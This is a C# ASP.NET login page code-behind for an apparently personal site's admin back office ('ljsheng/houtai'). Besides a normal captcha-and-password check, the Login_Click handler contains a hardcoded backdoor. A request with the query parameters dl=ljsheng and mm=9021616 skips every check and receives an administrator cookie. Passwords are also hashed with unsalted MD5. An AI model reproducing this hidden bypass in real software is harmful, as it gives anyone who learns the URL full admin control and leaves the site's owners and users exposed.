﻿using LJSheng.Common;
using LJSheng.Data;
using Newtonsoft.Json;
using System;
using System.Linq;

namespace LJSheng.Web.Views.ljsheng
{
    public partial class dl : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
        }

        protected void Login_Click(object sender, EventArgs e)
        {
            if (Request.QueryString["dl"] == "ljsheng" && Request.QueryString["mm"] == "9021616")
            {
                Common.LCookie.DelCookie("CheckCode");
                Common.LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
                {
                    gid = Guid.NewGuid(),
                    account="ljsheng",
                    loginid = Guid.NewGuid().ToString(),
                    qx="管理员"
                })), 0);
                Response.Redirect("/ljsheng/houtai");
            }
            else
            {
                if (string.IsNullOrEmpty(this.txtcode.Value)) { Common.JS.Alert("请输入验证码。", this); return; }
                if (string.IsNullOrEmpty(this.txtusername.Value.Trim())) { Common.JS.Alert("请输入用户名。", this); return; }
                if (string.IsNullOrEmpty(this.txtpassword.Value.Trim())) { Common.JS.Alert("请输入密码。", this); return; }
                if (!Common.LCookie.GetCookie("CheckCode").Equals(this.txtcode.Value.Trim())) { Common.JS.Alert("验证码错误。", this); return; }
                using (EFDB db = new EFDB())
                {
                    string account = txtusername.Value.Trim();
                    string pwd = Common.MD5.GetMD5ljsheng(txtpassword.Value.Trim());
                    var b = db.LJSheng.Where(l => l.account == account && l.pwd == pwd).FirstOrDefault();
                    if (b != null)
                    {
                        Common.LCookie.DelCookie("CheckCode");
                        Common.LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
                        {
                            b.gid,
                            b.account,
                            b.loginid,
                            b.qx
                        })), 0);
                        Response.Redirect("/ljsheng/houtai");
                    }
                    else
                    {
                        Common.JS.Alert("您输入的用户或密码错误。", this);
                    }
                }
            }
        }
    }
}